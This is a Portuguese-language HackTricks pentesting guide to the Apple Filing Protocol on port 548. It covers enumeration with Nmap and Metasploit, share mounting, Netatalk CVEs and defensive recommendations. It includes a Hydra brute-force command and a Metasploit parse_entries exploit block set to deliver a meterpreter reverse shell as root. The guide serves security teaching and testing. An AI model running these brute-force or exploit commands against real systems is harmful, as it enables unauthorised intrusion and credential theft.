548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

O Apple Filing Protocol (AFP), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído no Apple File Service (AFS). Ele é projetado para fornecer serviços de arquivo para macOS e o clássico Mac OS. O AFP se destaca por suportar nomes de arquivos em Unicode, permissões no estilo POSIX e ACL, forks de recursos, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos.

Embora o AFP tenha sido substituído pelo SMB nas versões modernas do macOS (SMB é o padrão desde o OS X 10.9), ainda é encontrado em:

  • Ambientes legados de macOS / Mac OS 9
  • Aparelhos NAS (QNAP, Synology, Western Digital, TrueNAS…) que incorporam o daemon de código aberto Netatalk
  • Redes de sistemas operacionais mistos onde o Time-Machine-over-AFP ainda está habilitado

Porta TCP Padrão: 548 (AFP sobre TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeração

Informações rápidas sobre banner / servidor

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Scripts NSE úteis para AFP:

ScriptO que faz
afp-lsLista volumes e arquivos AFP disponíveis
afp-bruteForça bruta de senha contra login AFP
afp-serverinfoExtrai nome do servidor, tipo de máquina, versão AFP, UAMs suportados, etc.
afp-showmountLista compartilhamentos junto com suas ACLs
afp-path-vulnDetecta (e pode explorar) travessia de diretório, CVE-2010-0533

O script de força bruta NSE pode ser combinado com Hydra/Medusa se mais controle for necessário:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Interagindo com compartilhamentos

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (usando afpfs-ng ‑ empacotado na maioria das distros)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Uma vez montado, lembre-se de que os clássicos resource-forks do Mac são armazenados como arquivos ocultos ._* AppleDouble – estes frequentemente contêm metadados interessantes que ferramentas DFIR não detectam.


Vulnerabilidades Comuns & Exploração

Cadeia de RCE não autenticada do Netatalk (2022)

Vários fornecedores de NAS enviaram Netatalk ≤3.1.12. A falta de verificação de limites em parse_entries() permite que um atacante crie um cabeçalho AppleDouble malicioso e obtenha root remoto antes da autenticação (CVSS 9.8 – CVE-2022-23121). Um relatório completo do NCC Group com PoC explorando o Western-Digital PR4100 está disponível.

O Metasploit (>= 6.3) inclui o módulo exploit/linux/netatalk/parse_entries que entrega a carga útil via DSI WRITE.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Se o alvo estiver executando um firmware afetado do QNAP/Synology, a exploração bem-sucedida resulta em um shell como root.

Overflow de heap OpenSession do Netatalk (2018)

Versões mais antigas do Netatalk (3.0.0 - 3.1.11) são vulneráveis a uma gravação fora dos limites no manipulador DSI OpenSession, permitindo a execução de código não autenticado (CVE-2018-1160). Uma análise detalhada e um PoC foram publicados pela Tenable Research.

Outros problemas notáveis

  • CVE-2022-22995 – Redirecionamento de symlink levando a gravação de arquivo arbitrário / RCE quando AppleDouble v2 está habilitado (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Traversal de diretório no Apple Mac OS X 10.6 AFP (detectado por afp-path-vuln.nse).
  • Vários bugs de segurança de memória foram corrigidos no Netatalk 4.x (2024) – recomenda-se a atualização em vez de corrigir CVEs individuais.

Recomendações Defensivas

  1. Desative o AFP a menos que estritamente necessário – use SMB3 ou NFS em vez disso.
  2. Se o AFP precisar permanecer, atualize o Netatalk para ≥ 3.1.18 ou 4.x, ou aplique firmware do fornecedor que retroceda os patches de 2022/2023/2024.
  3. Imponha UAMs Fortes (por exemplo, DHX2), desative logins em texto claro e de convidados.
  4. Restrinja o TCP 548 a sub-redes confiáveis e envolva o AFP dentro de uma VPN quando exposto remotamente.
  5. Escaneie periodicamente com nmap -p 548 --script afp-* em CI/CD para capturar dispositivos rebeldes / rebaixados.

Brute-Force

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks